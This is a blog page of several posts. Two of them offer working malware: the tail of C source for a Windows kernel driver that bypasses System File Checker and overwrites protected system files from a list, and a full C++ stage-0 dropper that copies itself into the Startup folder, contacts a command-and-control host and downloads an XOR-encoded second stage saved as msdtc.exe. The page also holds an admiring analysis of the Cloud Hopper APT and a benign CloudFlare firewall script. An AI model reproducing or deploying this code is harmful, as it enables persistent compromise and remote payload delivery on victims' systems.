#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to open information file.\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Allocate memory to hold contents. (PagedPool)
	nt_status = ZwQueryInformationFile(backdoor_info.handle,
										&io_status_block,
										&backdoor_info.file_standard_information,
										sizeof(FILE_STANDARD_INFORMATION),
										FileStandardInformation);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to query file information.
		ZwClose(backdoor_info.handle);

		return STATUS_DATA_ERROR;
	}

	backdoor_info.file_size = (SIZE_T) backdoor_info.file_standard_information.EndOfFile.LowPart;
	backdoor_info.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
													 backdoor_info.file_size + 1,
													 'gaT1');
	if (!backdoor_info.buffer)
	{
		// There is not enough memory in the system to replace the file.
		ZwClose(backdoor_info.handle);	

		return STATUS_DATA_ERROR;
	}

	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwReadFile(backdoor_info.handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							backdoor_info.buffer,
							backdoor_info.file_size,
							&byte_offset,
							NULL);
	backdoor_info.buffer[backdoor_info.file_size] = NULL;	// Ensure end of string.
	if (!NT_SUCCESS(nt_status))
	{
		// Do not log an error.  If there is no information file,
		// assume there is nothing to update.
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] No information file\n");
#endif
		ZwClose(backdoor_info.handle);
		ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');

		return STATUS_SUCCESS;
	}
#ifdef _DEBUG
	DbgPrint(("[MICROSOFT_DRIVER] %s\n", backdoor_info.buffer));		// Print contents of text file to debug console.
#endif

#ifndef MAX_PATH
#define MAX_PATH 255
#endif

#ifndef MAX_PATH_PLUS_NULL
#define MAX_PATH_PLUS_NULL MAX_PATH * sizeof(CHAR) + 1 * sizeof(CHAR)
#endif

	// No longer needed.
	ZwClose(backdoor_info.handle);

	/*int information_file_descriptor = _open_osfhandle((intptr_t) backdoor_info.handle, _A_RDONLY);
	if (information_file_descriptor == -1)	// ERROR_INVALID_HANDLE
	{
		// Error locating the file descriptor for handle.
	}

	FILE* information_file_file_pointer = _fdopen(information_file_descriptor, "r");	// "rb"?
	if (!information_file_file_pointer)
	{
		// Error achieving a standard C file pointer from Windows HANDLE.
	}*/

	// Now we can use fgets() to read each line.
	// "backdoor_info.buffer" holds all file contents.
	// "backdoor_info.file_size" holds the number of bytes in the file.
	CHAR	current_source_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	CHAR	current_target_file_path[MAX_PATH_PLUS_NULL] = { 0 };
	fgetws_t fget;
	fget.buffer = (WCHAR*) backdoor_info.buffer;	// Dangerous, but works.r
	fget.position = 0;
	fget.stream = backdoor_info.handle;				// Unused.
	// Just because "backdoor_info.buffer" is (CHAR* ) doesn't mean it actually is.
	// Our file is stored as UNICODE in text, so each character will be followed by a NULL (0x0) space.
	WCHAR*	back = (WCHAR* ) backdoor_info.buffer;

	// Check to see if "backdoor_info.file_size" is 0 or negative.
	if (backdoor_info.file_size <= 0)
	{
		// There were no bytes in INFO.txt.

		return STATUS_DATA_ERROR;
	}

	// Parse the read buffer.
	SIZE_T current_source_file_path_len = 0;		// We need to have something to read the actual line into something like "current_source_file_path".
	SIZE_T current_target_file_path_len = 0;
	const CHAR newline_char[] = "\r\n";


	windows_file_t		current_target = { 0 };
	windows_file_t		current_source = { 0 };

	UNICODE_STRING	unicode_source_file_path = { 0 };
	ANSI_STRING		ansi_source_file_path = { 0 };

	// bytes_read is updated after each line is read.
	INT32	bytes_read;
	INT32	char_index_in_line;
	bool	is_source;
	for (bytes_read = 0, char_index_in_line = 0, is_source = true; bytes_read < backdoor_info.file_size; )
	{
		// We're reading a UNICODE file.
		// Do not copy the L'\n' character to the string.
		//if (RtlEqualMemory(&newline_char, (CHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line), sizeof(newline_char)))
		// Check for next character being NULL.  It indicates we are at the end of the file.
		if (bytes_read + char_index_in_line == backdoor_info.file_size)
		{
			// We are done reading the file.
			// If we are in "source" reading turn,
			// we fail gracefully.
			if (is_source)
			{
				// Deallocation.

				// Fail gracefully.
				return STATUS_SUCCESS;
			}

			// This means we are done with the information file.
			// Perform the final write of protected files here.
			goto ___PerformReplace;
		}

#define STRLEN_NEWLINE 2
		// First boolean ensures against overflow.
		// Second boolean checks for Windows newline (0xD 0xA)
		else if ((bytes_read + char_index_in_line + STRLEN_NEWLINE <= backdoor_info.file_size) &&
			(newline_char[0] == backdoor_info.buffer[bytes_read + char_index_in_line] && newline_char[1] == backdoor_info.buffer[bytes_read + char_index_in_line + 1]))
		{
			// New line in Windows is 0x0D 0x0A.
			*((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line) = *((PCHAR) backdoor_info.buffer + bytes_read + char_index_in_line + 1) = NULL;	// Chomp the new line.
			// We found a newline character.	
			if (is_source)
			{
				// Source file.

				RtlInitAnsiString(&ansi_source_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_source_file_path, &ansi_source_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.
				is_source = false;	// Next line, if any, will be target.

				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_source.path, unicode_source_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize source string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// Do everything with opening and reading the source file if only the target file exists.
				// We have nothing left to do here.
			}

			else
			{
___PerformReplace:
				UNICODE_STRING	unicode_target_file_path;
				ANSI_STRING		ansi_target_file_path;

				RtlInitAnsiString(&ansi_target_file_path, backdoor_info.buffer + bytes_read);
				if (!NT_SUCCESS(RtlAnsiStringToUnicodeString(&unicode_target_file_path, &ansi_target_file_path, TRUE)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to convert ansi to unicode\n");
#endif
				}
				is_source = false;	// Next line, if any, will be target.
				//if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, current_target_file_path)))
				if (!NT_SUCCESS(RtlUnicodeStringInit(&current_target.path, unicode_target_file_path.Buffer)))
				{
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to initialize target string\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}
				// We have to do the "bytes_read" incrementation here so we don't cut off the "\?" at the beginning of
				// "ansi_source_file_path".
				bytes_read++;	// We don't want to start on the second NULL byte, we must start at next line.
				bytes_read++;	// We use "bytes_read" because "char_index_in_line" gets refreshed after every line is read.

				is_source = true;	// Next line, if any, will be source.

				// Open and read the source file.
				// Copy unicode_source_file_path contents into unicode_target_file_path file.
				// We have a matching source with target.
				// Time to open and read the source.
				// Initialize file object attributes for information file (because we always know path).
				InitializeObjectAttributes(&(current_source.object_attributes),
					&current_source.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				InitializeObjectAttributes(&(current_target.object_attributes),
					&current_target.path,
					OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
					NULL,
					NULL);
				
				// OPEN THE FILE!!!

				nt_status = ZwCreateFile(&current_source.handle,
					GENERIC_READ,
					&current_source.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_OPEN,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open source file.\n");
#endif

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				nt_status = ZwCreateFile(&current_target.handle,
					GENERIC_READ | GENERIC_WRITE,	
					&current_target.object_attributes,
					&io_status_block,
					NULL,
					FILE_ATTRIBUTE_NORMAL,
					0,
					FILE_SUPERSEDE,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open target file.\n");
#endif
					ZwClose(current_source.handle);

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				// Now handles to both SOURCE and TARGET are created.
				// Time to read from SOURCE.
				// Allocate memory to hold contents. (PagedPool)
				nt_status = ZwQueryInformationFile(current_source.handle,
													&io_status_block,
													&current_source.file_standard_information,
													sizeof(FILE_STANDARD_INFORMATION),
													FileStandardInformation);
				if (!NT_SUCCESS(nt_status))
				{
					// Unable to query file information.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}

				current_source.file_size = (SIZE_T) current_source.file_standard_information.EndOfFile.LowPart;
				current_source.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
																 current_source.file_size + 1,
																 'gaT1');
				if (!current_source.buffer)
				{
					// There is not enough memory in the system to replace the file.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}
				// We must FREE current_source.buffer from now on during errors.

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwReadFile(current_source.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				// No need to leave NULL because we know file_size.
				if (!NT_SUCCESS(nt_status))
				{
					// Do not log an error.  If there is no information file,
					// assume there is nothing to update.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER_DEBUG] No information file\n");
#endif
					ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_SUCCESS;
				}

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwWriteFile(current_target.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				if (NT_SUCCESS(nt_status))
				{
					// We successfully replaced the file.
					// Let the usermode know somehow.
					// Print with UNICODE, http://www.winvistatips.com/can-dbgprint-unicode_string-t186503.html
#ifdef _DEBUG
					DbgPrint("We successfully replaced %wZ\n", current_target.path);
#endif
				}

				else
				{
					// We did not successfully replace the file.
					// Let the usermode know somehow.
#ifdef _DEBUG
					DbgPrint("Unable to successfully replace %wZ\n", current_target.path); 
#endif
				}

				// Cleanup for each loop.
				is_source = true;
				ZwClose(current_target.handle);
				ZwClose(current_source.handle);
				//ExFreePoolWithTag(current_target.buffer, 'gaT1');
				ExFreePoolWithTag(current_source.buffer, 'gaT1');
			}

			bytes_read += char_index_in_line;
			char_index_in_line = 0;	// If a new line exists, we must start at beginning.
			// Reset the "current_target_file_path" and "current_source_file_path".
			RtlZeroMemory(current_target_file_path, sizeof(current_target_file_path));
			RtlZeroMemory(current_source_file_path, sizeof(current_source_file_path));

			// We continue to skip the processing directly below us, as we
			// don't wish to copy the NULL or Windows newline to buffer.
			continue;
		}

		// If the character wasn't EOF (backdoor_info.file_size) or a Windows newline (/r/n), we end up here, to copy to buffers.
		if (bytes_read + char_index_in_line < backdoor_info.file_size)
		{
			if (is_source)
			{
				//if (!NT_SUCCESS(RtlMultiByteToUnicode
				current_source_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_source_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy source wchar_t\n");
				}*/
			}

			else
			{
				current_target_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_target_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy target wchar_t\n");
				}*/
			}

			char_index_in_line++;	// We have to inc the counter here because we'll be off-by-one otherwise due to the combined strings 
									// in the file during parsing.
		}
	}

	// We need to write the new version to the "patch.scc" file.
	// 
	nt_status = UpdateSystemPatchVersion(next_version);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to write "patch.scc".
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to write success file\n");
#endif

		return STATUS_FILE_INVALID;
	}

	return STATUS_SUCCESS;
}
Posted in Malware DevelopmentTagged Bypass system file checker, c malware, malicious kernel driver, malware, System service, Win32 SFC bypass, WinDDK, Windows Driver Development, Windows file protection, Windows malicious service, winlogon, winlogon hijackLeave a comment

Protecting a Site with CloudFlare

Posted on June 27, 2019 - June 27, 2019 by admin

This topic assumes you are running a Linux-based operating system with iptables.

From Hosting Provider

Change your nameserver’s to match CloudFlare’s.

From CloudFlare

Set your A record in CloudFlare to point to your real IP address.

Set any CNAME records, like “www”, which you use as aliases.

Manage your Crypto to Full if you’re using your own solution.

From your Server

Run the following Shell script

#!/bin/bash

iptables -A INPUT -p tcp --dport http -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp --dport https -j REJECT --reject-with tcp-reset

for x in $(curl https://www.cloudflare.com/ips-v4); do
    iptables -I INPUT -p tcp -m multiport --dports http,https -s "$x" -j ACCEPT
done

for x in $(curl https://www.cloudflare.com/ips-v6); do
    ip6tables -I INPUT -p tcp -m multiport --dports http,https -s "$x" -j ACCEPT
done

Now, try to access your site from the real IP address. It should be blocked via TCP reset. If not, you’re doing something wrong and people could correlate your real IP address to your CloudFlare-protected site.

Setting this up to run via init script is also highly recommended. Otherwise you may reboot with all settings lost.

Posted in Campaign ManagementTagged BASH, CloudFlare, DevOps, iptables, OpSec, SecOps, system administrationLeave a comment

Cloud Hopper a Top Notch APT

Posted on June 27, 2019 - July 1, 2019 by admin

The “Cloud Hopper” attack group is back in the spotlights this week after an informative report of Operation “Soft Cell” by security firm Cybereason. Detailed campaigns tracked by the firm display traits similar to how “APT10” associated groups have operated in the past.

Active since at least 2012 against telecommunications providers, “Soft Cell” was observed to target Active Directory domain servers once access was obtained on a target network before expanding their access. This suggests the group is primarily interested in long-term compromise of their targets. Their ongoing operations for months, and at times years, shows the group has the discipline and ability to practice stealthy and persistent attacks usually associated with well-funded nation-state groups.

Adaptability while maintaining access is a key ability for sophisticated nation-state groups. Such groups expect and plan for alternative routes during pre-attack operational activities.

Initial Access

A web shell (China Chopper) written for IIS servers was dropped after web-based compromise. From this webshell reconnaissance activity was observed by operators running basic diagnostic commands from a spawned cmd.exe instance with tools such as ipconfig, find, netstat, and whoami.

The second notable activity after initial access was running a modified nbtscan tool to identify NetBIOS name servers both locally and over the network. This tool was used by the actors to find shares on the internal Windows network.

Elevation

Utilities such as Mimikatz were modified and deployed after the reconnaissance phase. Their modified artifact removed the need for command line arguments, likely to evade various techniques employed by EDR solutions to detect common tools like Mimikatz during execution. Modified and compiled code also has the advantage of easily defeating Anti-Virus solutions due to changes in signature(s) of code segments and structure, largely with no real work needed by the technical team powering Cloud Hopper’s operations.

Their modified Mimikatz tool allowed the group to dump NTLM hashes on the compromised machines. A second technique to obtain coveted NTLM hashes was performed by dumping specific hives from the Windows Registry containing the hashes. The SAM hive HKEY_LOCAL_MACHINE\SAM and Security hive HKEY_LOCAL_MACHINE\Security store these essential hashes.

Pivoting

With the network mapped and credentials stolen (and not necessarily cracked), the group had all they needed to remotely establish sessions. The target telco’s network’s production and database servers, along with their Domain Controller (!), were successfully compromise.

WMI and PsExec remote command execution, Windows sysadmin utilities, were used to successfully run the landscape of their target network.

Persistence

Despite having all information and IP routing necessary to perform a complete domain compromise, the group performed additional tasks to enable persistence in forms other than their initial attack vector.

The attackers created high-privilege domain user accounts to perform actions after their first goal was achieved: domain compromise.

Changing the source of malicious operation, from the perspective of the Windows subsystem and network managers, provides multiple benefit. Obviously, it allows a deeper foothold into the system, having now a webshell along with domain-privileged accounts. Higher-privileged accounts, especially on machines with regular network traffic, are much quieter when performing administrative based tasks. With deployment of a RAT, such as PoisonIvy this threat actor used, they can maintain “phone home” or “callback” connectivity, bypassing the need to “push” into a network, opting to “pull” access at intervals.

This PoisonIvy variant abused a trusted and signed Samsung tool, runhelp.exe, was deployed as a Nullsoft Installer Package (NSIS) package. Once unpacked and run, the Samsung tool loaded a fake DLL posing as a legitimate dll, ssMUIDLL.dll, causing the malicious code to execute. The result was a scheduled task which would run the legitimate Samsung tool with the malicious payload. This is known as DLL Side Loading.

Exfiltration

The actor opted for the RAR archival utility for compressing desired data for exfiltration. They were spotted keeping the WinRAR tool and their compressed data for exfiltration in the Recycle Bin folder.

These RAR data were stored as multi-part archives. This technique, among the others mentioned, are staples among the APT10 actor(s).

hTran was used attempting to exfiltrate targeted data out of segmented networks. The code was modified from the original; likely an attempt to evade detection of EDR and Anti-Virus solutions. The structure and debug output was almost identical, with key phrases left in the deployed payload, likely due to lack of English-language skills.

For example, “Connect error” became “C e.”.

Reasons for Attack

The most obvious reason for a nation-state targeting large telcos of nations is to track call/message data. These Call Detail Records (CDRs) are a way of telephone companies tracking data from:

  • Device details
  • Physical location
  • Device vendor and version
  • Source, destination, and duration of call

With such information, the unit can monitor another nation’s citizens, including their leaders. If they need further access, they can know the exact make/model of a device used by a target.

As a last resort, the unit also has the ability to potentially “jam” the data/voice network by destroying the infrastructure.

If the unit is extremely technically sophisticated, the desire is there from the management, and the target allows such technical operation, the group may pull off infected firmware updates, rogue base station legitimacy, or other such fanciful Hollywood-esque attacks which may actually exist as a capability.

Areas for Improvement

The attackers were found conducting multiple campaigns from the same IP address. When you’re a big nation state and not looking to cause overt damage, operation security is practically optional.

This author could critique the operation in many ways. The fact is the techniques described here work, and work well, for multi-year operations against higher-sophisticated targets such as telcos.

Hats off to the Cloud Hopper group for a long-term successful campaign that has likely monitored and lead to exploitation of several high-value political and business targets of the affected countries.

Without a doubt these operations will continue from the Chinese groups. They will continue to stay at the level (A/B/C/D/F grading) required to achieve and maintain access to sources of data their state deems critical to the operational success and future viability of their country.

No need to bring out the A-team for adversaries which do not demand it.

Posted in Campaign Analysis, Current EventsTagged APT10, China Chopper, Cloud Hopper, hTran, Mimikatz, Operation Soft Cell, PoisonIvyLeave a comment

Windows Download and Execute (Stage 0 or 1) Malware Example Code

Posted on June 24, 2019 - June 27, 2019 by admin

This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.

A tool such as this would likely show up at the beginning of a campaign.  End stage campaigns may also find a tool like this useful for transportation of code between hosts.

int APIENTRY _tWinMain(	HINSTANCE	hInstance,
		        HINSTANCE	hPrevInstance,
			LPTSTR		lpCmdLine,
			int		cmdShow)
{
	DWORD retInstallVirus = InstallVirus();
	if (!retInstallVirus)
	{
		Sleep(30000 * (rand() % 30000));

		DWORD retDownloadStage2 = DownloadSecondStage();
		while (retDownloadStage2)
		{
			Sleep(300000);
			retDownloadStage2 = DownloadSecondStage();
		}
	}

	return 0;
}

Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.

What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.

Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.

Let us begin…

#include "stdafx.h"

//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
	TCHAR ourFilename[MAX_PATH];
	TCHAR new_filename[MAX_PATH];
	TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
	int end = 0;
	GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
	// Copy to AppRoaming folder.
	TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
	TCHAR user_directory[MAX_PATH];
	SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
	_tcscpy_s(new_filename, user_directory);
	_tcscat_s(new_filename, relativeTargetDirectory);
	_tcscat_s(new_filename, rawFilename);

	// Check if our file already exists.
	FILE* testFile = _tfopen(new_filename, _T("rb"));
	if (testFile)
		return 0;

	size_t fileSize;
	FILE* fp = _tfopen(ourFilename, _T("rb"));
	if (!fp)
	{
		return -2;
	}
	fseek(fp, 0, SEEK_END);
	fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* fileBuffer = new char[fileSize];

	if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
	{
		return -3;
	}

	FILE* copiedFile = _tfopen(new_filename, _T("wb"));
	if (!copiedFile)
		return -4;

	fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
	fclose(copiedFile);

	return 1;
}

This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)

This ensures we run every time the system starts.

Extra: Double slashes are for the escape, in case you were confused.

/* If our key matches what server expects it will send us the following struct:

	typedef struct
	{
		char		magic[4];		// "abcd"
		uint32_t	payload_size;
		byte		xor_key;
		char		payload[payload_size];
	} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
	// Virus is already installed.
	HINTERNET hOpen = InternetOpen(	NULL,
		INTERNET_OPEN_TYPE_PRECONFIG,							 
                NULL,
		NULL,
		0);
	if (!hOpen)
		return -1;

	HINTERNET hUrl = InternetConnect(hOpen,										 
                                         _T("site.com"),
		                         80,
	   	 		         NULL,
					 NULL,
					 INTERNET_SERVICE_HTTP,
					 INTERNET_FLAG_PRAGMA_NOCACHE,
					 NULL);
	if (!hUrl)
		return -2;

	HINTERNET hRequest = HttpOpenRequest(hUrl,
					     _T("POST"),											 
                                             _T("/"),
					     NULL,
   					     NULL,
					     NULL,
					     NULL,
					     NULL);
	if (!hRequest)
		return -3;

	BOOL bRequest = HttpSendRequest(hRequest,
                      _T("Content-Type: application/x-www-form-urlencoded"),
                      _tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
                       "password=1234567890",
                       strlen("password=1234567890"));

	// Read the first two members of structure. 
	DWORD numBytesRead = 0;
	DWORD numAvailable = 0;
	char* huge_buffer;
        // We must use the heap, because the stack can only hold 
        // around 0.5 mb. 
	huge_buffer = new char[10485760]();
	numBytesRead = 0;
	numAvailable = 0;
	memset(huge_buffer, 0, sizeof(huge_buffer));

	while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
	{
		InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
	}

	if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
	{
		delete [] huge_buffer;
		return -4;
	}

	if (numBytesRead < 9)	// Initial header size
	{
		delete [] huge_buffer;
		return -5;
	}

	if (*(huge_buffer + 0) != 'a' ||
		*(huge_buffer + 1) != 'b' ||
		*(huge_buffer + 2) != 'c' ||
		*(huge_buffer + 3) != 'd')
	{
		delete [] huge_buffer;
		return -6;
	}

We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.

char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];

We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.

	byte hi_byte = huge_buffer[4];
	byte mid1_byte = huge_buffer[5];
	byte mid2_byte = huge_buffer[6];
	byte lo_byte = huge_buffer[7];
	int payload_size =	(hi_byte << 24) +
				(mid1_byte << 16) +
				(mid2_byte << 8) +
				(lo_byte);
	char xor = *(huge_buffer + 8);

	for (int i = 0; i < payload_size; i++)
	{
		if (huge_buffer[9 + i])
			if (huge_buffer[9 + i] != xor)
				huge_buffer[9 + i] ^= xor;
	}

	FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb"));		// Make sure this file deletes us when it runs.
	if (!downloaded_file)
	{
		delete [] huge_buffer;
		return -7;
	}

	if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
	{
		fclose(downloaded_file);
		delete [] huge_buffer;
		BOOL bDelete = DeleteFile(_T("msdtc.exe"));

		return -8;
	}

	fclose(downloaded_file);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hOpen);
	delete [] huge_buffer;

	// We are done;
	return 0;
}

We save the binary file as “msdtc.exe” in the directory we are executing in.

This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).

The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.

Posted in Malware DevelopmentTagged c malware, c++, malware, payload, stage 0, win32, WINAPILeave a comment

Posts navigation

Older posts
Newer posts

Recent Posts

  • Manual Scraping
  • Nitter Replacement
  • MFA Abuse in Splunk
  • Virtualbox Automation
  • Repository Poisoning

Recent Comments

    Archives

    • August 2024
    • July 2023
    • August 2022
    • March 2022
    • November 2021
    • October 2021
    • September 2021
    • August 2021
    • July 2021
    • June 2021
    • February 2021
    • December 2020
    • October 2020
    • September 2020
    • April 2020
    • March 2020
    • January 2020
    • July 2019
    • June 2019

    Categories

    • Campaign Analysis
    • Campaign Management
    • Code Analysis
    • Current Events
    • Malware Development
    • Techniques
    • Uncategorized
    • Utilities

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Proudly powered by WordPress | Theme: micro, developed by DevriX.